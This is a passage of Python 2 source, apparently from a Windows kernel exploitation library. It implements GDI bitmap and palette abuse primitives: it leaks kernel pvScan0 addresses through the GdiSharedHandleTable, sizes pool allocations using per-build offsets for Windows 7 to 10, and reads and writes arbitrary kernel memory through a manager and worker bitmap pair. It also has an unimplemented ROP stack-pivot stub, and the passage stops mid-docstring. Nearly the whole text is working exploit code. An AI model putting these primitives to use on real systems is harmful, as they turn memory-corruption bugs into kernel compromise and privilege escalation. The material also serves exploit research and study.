def stack_pivot_from_kernel_to_user_rop():
"""
This function creates a ROP chain to stack pivot to user space from kernel space
!!!!To be implemented
@return: ROP chain
"""
rop = ''
return rop
#########################################################################################
############This section contains kernel GDI object abusing related functions############
#########################################################################################
def create_bitmap(width, height, cBitsPerPel):
"""
This function will create a bitmap for write-what-where vulnerabilities with GDI abuse
@param width: width of the bitmap
@param height: height of the bitmap
@param cBitsPerPel: bit ber cel
@return: the handle to the BITMAP object
"""
bitmap_handle = HBITMAP()
bitmap_handle = gdi32.CreateBitmap(width, height, 1, cBitsPerPel, None)
if bitmap_handle == None:
print "[-] Error creating bitmap, exiting...."
sys.exit(-1)
print "[+] Bitmap handle: %s" % hex(bitmap_handle)
return bitmap_handle
def create_bitmaps(width, height, cBitsPerPel):
"""
This function will create the worker and manager bitmap for write-what-where vulnerabilities with GDI abuse
@param width: width of the bitmap
@param height: height of the bitmap
@param cBitsPerPel: bit ber cel
"""
print "[*] Creating manager bitmap"
manager_bitmap_handle = create_bitmap(width, height, cBitsPerPel)
print "[*] Creating worker bitmap"
worker_bitmap_handle = create_bitmap(width, height, cBitsPerPel)
return (manager_bitmap_handle, worker_bitmap_handle)
def calculate_bitmap_size_parameters(s):
"""
This function will calculate the parameters to be used for bitmap allocation, if we know what is the size we need to allocate, height=1, cBitsPerPel=8
@param s: size of the bitmap we need
@return: (width, height, cBitsPerPel) tuple
"""
p = platform.platform()
if p == 'Windows-10-10.0.10586':
bmp_offset = 0x258
min_size = 0x370
elif p == 'Windows-10-10.0.14393':
bmp_offset = 0x260
min_size = 0x370
elif p == 'Windows-10-10.0.15063':
bmp_offset = 0x260
min_size = 0x370
elif p == 'Windows-8-6.2.9200-SP0':
bmp_offset = 0x250
min_size = 0x360
elif p == 'Windows-8.1-6.3.9600':
bmp_offset = 0x258
min_size = 0x370
elif p == 'Windows-7-6.1.7601-SP1':
bmp_offset = 0x238
min_size = 0x350
if s < min_size:
print "[-] Too small size, such Bitmap can't be allocated..."
sys.exit(-1)
elif s < 0x1000:
print "[+] Bitmap will be allocated in the Paged session pool"
width = s - bmp_offset - 0x10
else:
print "[+] Bitmap will be allocated in the Paged session pool / large pool"
width = s - bmp_offset
return (width, 1, 8)
def get_gdisharedhandletable():
"""
This function will return the GdiSharedHandleTable address of the current process
"""
process_basic_information = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), ProcessBasicInformation, byref(process_basic_information), sizeof(process_basic_information), None)
peb = process_basic_information.PebBaseAddress.contents
return peb.GdiSharedHandleTable
def get_pvscan0_address(bitmap_handle):
"""
Get the pvScan0 address, works up to Windows 10 v1511
@param bitmap_handle: handle to the bitmap
@return: the PVSCAN0 address in the kernel
"""
gdicell64_address = get_gdisharedhandletable() + (bitmap_handle & 0xFFFF) * sizeof(GDICELL64()) #the address is in user space
gdicell64 = cast(gdicell64_address,POINTER(GDICELL64))
pvscan0_address = gdicell64.contents.pKernelAddress + 0x50 #0x18 to SurfObj SURFOBJ64 -> 0x38 into SURFOBJ64 pvScan0 ULONG64
return pvscan0_address
def set_address_bitmap(manager_bitmap, address):
"""
Sets the pvscan0 of the worker to the address we want to read/write later through the manager_bitmap
@param manager_bitmap: handle to the manager bitmap
@param address: the address to be set in worker bitmap's pvscan0 pointer
"""
address = c_ulonglong(address)
gdi32.SetBitmapBits(manager_bitmap, sizeof(address), addressof(address));
def write_memory_bitmap(manager_bitmap, worker_bitmap, dst, src, len):
"""
Writes len number of bytes to the destination memory address from the source memory
@param manager_bitmap: handle to the manager bitmap
@param worker_bitmap: handle to the worker bitmap
@param dst: destination to write to
@param src: the source to copy from
@param len: the amount to write
"""
set_address_bitmap(manager_bitmap, dst)
gdi32.SetBitmapBits(worker_bitmap, len, src)
def read_memory_bitmap(manager_bitmap, worker_bitmap, src, dst, len):
"""
Reads len number of bytes to the destination memory address from the source memory
@param manager_bitmap: handle to the manager bitmap
@param worker_bitmap: handle to the worker bitmap
@param dst: destination to copy to
@param src: the source to read from
@param len: the amount to read
"""
set_address_bitmap(manager_bitmap, src)
gdi32.GetBitmapBits(worker_bitmap, len, dst)
def create_palette_with_size(s):
"""
Creates a palette with the size we want
@param s: size of the palette
@return: handle to the palette
"""
p = platform.platform()
#from Windows v1607 onwards the PALETTE HEADER is smaller with 8 bytes
if p == 'Windows-10-10.0.14393' or p == 'Windows-10-10.0.15063' or p == 'Windows-10-10.0.16299':
palette_entries_offset = 0x88
elif p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1':
palette_entries_offset = 0x90
else:
print "[-] This platform is not supported for palettes"
sys.exit(-1)
if s <= palette_entries_offset:
print '[-] Bad plaette size! can\'t allocate palette of size < %s!' % hex(palette_entries_offset)
sys.exit(-1)
pal_cnt = (s - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = HANDLE()
palette_handle = gdi32.CreatePalette(byref(lPalette))
if palette_handle == None:
print '[-] Couldn\'t create palette, exiting...'
sys.exit(-1)
return palette_handle
def set_address_palette(manager_platte_handle, address):
"""
Sets the pFirstColor of the worker to the address we want to read/write later through the manager palette